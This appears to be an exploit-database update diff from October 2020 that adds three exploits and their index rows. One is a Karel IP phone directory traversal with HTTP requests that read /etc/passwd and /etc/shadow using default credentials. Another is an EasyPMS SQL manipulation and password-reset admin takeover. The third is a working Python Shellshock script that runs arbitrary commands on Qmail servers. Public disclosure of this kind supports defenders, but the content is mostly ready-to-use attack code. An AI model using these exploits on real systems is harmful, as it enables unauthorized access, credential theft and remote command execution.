DB: 2020-10-07

3 changes to exploits/shellcodes

Qmail SMTP 1.03 - Bash Environment Variable Injection
Karel IP Phone IP1211 Web Management Panel - Directory Traversal
EasyPMS 1.0.0 - Authentication Bypass

exploits/hardware/webapps/48857.txt

@@ -0,0 +1,72 @@
+# Exploit Title: Karel IP Phone IP1211 Web Management Panel - Directory Traversal
+# Exploit Author: Berat Gokberk ISLER
+# Date: 2020-09-01
+# CVE: N/A
+# Type: Webapps
+# Vendor Homepage: https://www.karel.com.tr/urun-cozum/ip1211-ip-telefon
+# Version: IP1211
+
+Details
+
+Directory traversal vulnerability on the Karel IP1211 IP Phone Web Panel.
+Remote authenticated users (Attackers used default credentials in this
+case) to perform directory traversal, provides access to sensitive data
+under indexes using the "cgiServer.exx?page=" parameter. In this case
+sensitive files, "passwd" and "shadow" files.
+
+# Vulnerable Parameter Type: GET
+# Payload: ../../../../../../../../etc/passwd or /etc/shadow
+
+# First Request:
+
+GET /cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/passwd
+HTTP/1.1
+Host: X.X.X.X
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0)
+Gecko/20100101 Firefox/80.0
+Accept:
+text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Accept-Language: tr-TR,tr;q=0.5
+Accept-Encoding: gzip, deflate
+Authorization: Basic YWRtaW46YWRtaW4= # Basic Auth --> admin:admin
+Connection: close
+Upgrade-Insecure-Requests: 1
+
+# First Response
+
+HTTP/1.0 200 OK
+Content-Type:text/html;charset=UTF-8
+Expires:-1
+Accept-Ranges:bytes
+Server:SIPPhone
+
+root:x:0:0:Root,,,:/:/bin/sh
+admin:x:500:500:Admin,,,:/:/bin/sh
+guest:x:501:501:Guest,,,:/:/bin/sh
+
+# Second Request
+
+GET /cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/shadow
+HTTP/1.1
+Host: X.X.X.X
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0)
+Gecko/20100101 Firefox/80.0
+Accept:
+text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Accept-Language: tr-TR,tr;q=0.5
+Accept-Encoding: gzip, deflate
+Authorization: Basic YWRtaW46YWRtaW4= # Basic Auth --> admin:admin
+Connection: close
+Upgrade-Insecure-Requests: 1
+
+# Second Response
+
+HTTP/1.0 200 OK
+Content-Type:text/html;charset=UTF-8
+Expires:-1
+Accept-Ranges:bytes
+Server:SIPPhone
+
+root:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7:::
+admin:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7:::
+guest:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7:::

exploits/json/webapps/48858.txt

@@ -0,0 +1,71 @@
+# Exploit Title: EasyPMS 1.0.0 - Authentication Bypass
+# Discovery by: Jok3r
+# Vendor Homepage: https://www.elektraweb.com/en/
+# Software Link: https://github.com/Travelaps/EasyPMS/releases/
+# Tested Version: 1.0.0
+# Vulnerability Type: Authentication Bypass
+# Tested on OS: Windows Server 2012
+
+#Description:
+
+EasyPMS has authentication bypass vulnerability that low privilege user can escalate privilege to HotelOwner admin privilege.
+
+Steps to Reproduce:
+
+1)
+Unprivileged user can manipulate sql query within json request format. Admin user code can be obtained using single quote after ID column so 
+that where clause is invalid.
+
+First Request:
+
+POST /Select/STDUSER HTTP/1.1
+Host: target
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+Accept: application/json, text/plain, */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: https://target/app/record/user-profile;index=$ANG.STDUSERID
+Content-Type: text/plain
+Content-Length: 689
+Origin: https://target
+Connection: close
+
+
+
+{"Action":"Select","Object":"STDUSER","Select":["ID","USERCODE","PASSWORD","EMAIL","LASTNAME","GSM","PHONE","HOTELID","FIRSTNAME","PINCODE"],"Where":[{"Column":"ID'","Operator":"=","Value":"80403"},{"Column":"HOTELID","Operator":"=","Value":22330}],"Paging":{"Current":1,"ItemsPerPage":3},"LoginToken":"token_value"}
+
+
+
+2)
+While user is sending password resetting request, can change password of Admin user that is inside HotelOwner privilege class.
+Because there is not validation of token and user has write permission on STDUSER table so admin user password can be changed by unprivileged user that obtains ID of admin user
+sending first request.
+
+
+
+Second Request:
+
+POST / HTTP/1.1
+Host: target
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+Accept: application/json, text/plain, */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: https://target/login
+Content-Type: text/plain
+Content-Length: 128
+Origin: https://target
+Connection: close
+
+
+{"Row":{"PASSWORD":"Qw12344.","ID":"80401","HOTELID":22330},"SelectAfterUpdate":["ID"],"Action":"Update","Object":"STDUSER"}
+
+
+
+
+
+
+# Timeline:
+# 01.10.2020 - issue was discovered 
+# 02.10.2020 - notify to vendor
+# 02.10.2020 - vendor fixed

exploits/multiple/remote/48651.txt

@@ -0,0 +1,66 @@
+# Exploit Title: Qmail SMTP 1.03 - Bash Environment Variable Injection
+# Date: 2020-07-03
+# Exploit Author: 1F98D
+# Original Authors: Mario Ledo, Mario Ledo, Gabriel Follon
+# Version: Qmail 1.03
+# Tested on: Debian 9.11 (x64)
+# CVE: CVE-2014-6271
+# References:
+# http://seclists.org/oss-sec/2014/q3/649
+# https://lists.gt.net/qmail/users/138578
+#
+# Qmail is vulnerable to a Shellshock vulnerability due to lack of validation
+# in the MAIL FROM field.
+#
+#!/usr/local/bin/python3
+
+from socket import *
+import sys
+
+if len(sys.argv) != 4:
+    print('Usage {} <target ip> <email adress> <command>'.format(sys.argv[0]))
+    print("E.g. {} 127.0.0.1 'root@debian' 'touch /tmp/x'".format(sys.argv[0]))
+    sys.exit(1)
+
+TARGET = sys.argv[1]
+MAILTO = sys.argv[2]
+CMD = sys.argv[3]
+
+s = socket(AF_INET, SOCK_STREAM)
+s.connect((TARGET, 25))
+
+res = s.recv(1024)
+if 'ESMTP' not in str(res):
+    print('[!] No ESMTP detected')
+    print('[!] Received {}'.format(str(res)))
+    print('[!] Exiting...')
+    sys.exit(1)
+
+print('[*] ESMTP detected')
+s.send(b'HELO x\r\n')
+res = s.recv(1024)
+if '250' not in str(res):
+    print('[!] Error connecting, expected 250')
+    print('[!] Received: {}'.format(str(res)))
+    print('[!] Exiting...')
+    sys.exit(1)
+
+print('[*] Connected, sending payload')
+s.send(bytes("MAIL FROM:<() {{ :; }}; {}>\r\n".format(CMD), 'utf-8'))
+res = s.recv(1024)
+if '250' not in str(res):
+    print('[!] Error sending payload, expected 250')
+    print('[!] Received: {}'.format(str(res)))
+    print('[!] Exiting...')
+    sys.exit(1)
+
+print('[*] Payload sent')
+s.send(bytes('RCPT TO:<{}>\r\n'.format(MAILTO), 'utf-8'))
+s.recv(1024)
+s.send(b'DATA\r\n')
+s.recv(1024)
+s.send(b'\r\nxxx\r\n.\r\n')
+s.recv(1024)
+s.send(b'QUIT\r\n')
+s.recv(1024)
+print('[*] Done')

files_exploits.csv

@@ -18246,6 +18246,7 @@ id,file,description,date,author,type,platform,port
 48587,exploits/multiple/remote/48587.py,"SOS JobScheduler 1.13.3 - Stored Password Decryption",2020-06-15,"Sander Ubink",remote,multiple,
 48620,exploits/hardware/remote/48620.txt,"mySCADA myPRO 7 - Hardcoded Credentials",2020-06-25,"Emre ÖVÜNÇ",remote,hardware,
 48650,exploits/xml/remote/48650.txt,"Microsoft Windows mshta.exe 2019 - XML External Entity Injection",2020-07-07,hyp3rlinx,remote,xml,
+48651,exploits/multiple/remote/48651.txt,"Qmail SMTP 1.03 - Bash Environment Variable Injection",2020-07-08,1F98D,remote,multiple,
 48657,exploits/windows/remote/48657.py,"CompleteFTP Professional 12.1.3 - Remote Code Execution",2020-07-09,1F98D,remote,windows,
 48661,exploits/linux/remote/48661.sh,"Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution",2020-07-10,SpicyItalian,remote,linux,
 6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
@@ -40675,6 +40676,8 @@ id,file,description,date,author,type,platform,port
 48850,exploits/php/webapps/48850.txt,"GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting (Authenticated)",2020-10-01,"Roel van Beurden",webapps,php,
 48851,exploits/php/webapps/48851.txt,"CMS Made Simple 2.2.14 - Persistent Cross-Site Scripting (Authenticated)",2020-10-01,"Roel van Beurden",webapps,php,
 48852,exploits/php/webapps/48852.txt,"Typesetter CMS 5.1 - 'Site Title' Persistent Cross-Site Scripting",2020-10-01,"Alperen Ergel",webapps,php,
+48857,exploits/hardware/webapps/48857.txt,"Karel IP Phone IP1211 Web Management Panel - Directory Traversal",2020-10-06,"berat isler",webapps,hardware,
+48858,exploits/json/webapps/48858.txt,"EasyPMS 1.0.0 - Authentication Bypass",2020-10-06,Jok3r,webapps,json,
 42884,exploits/multiple/webapps/42884.py,"Fibaro Home Center 2 - Remote Command Execution / Privilege Escalation",2017-02-22,forsec,webapps,multiple,
 42805,exploits/php/webapps/42805.txt,"WordPress Plugin WPAMS - SQL Injection",2017-09-26,"Ihsan Sencan",webapps,php,
 42889,exploits/php/webapps/42889.txt,"Trend Micro OfficeScan 11.0/XG (12.0) - Private Key Disclosure",2017-09-28,hyp3rlinx,webapps,php,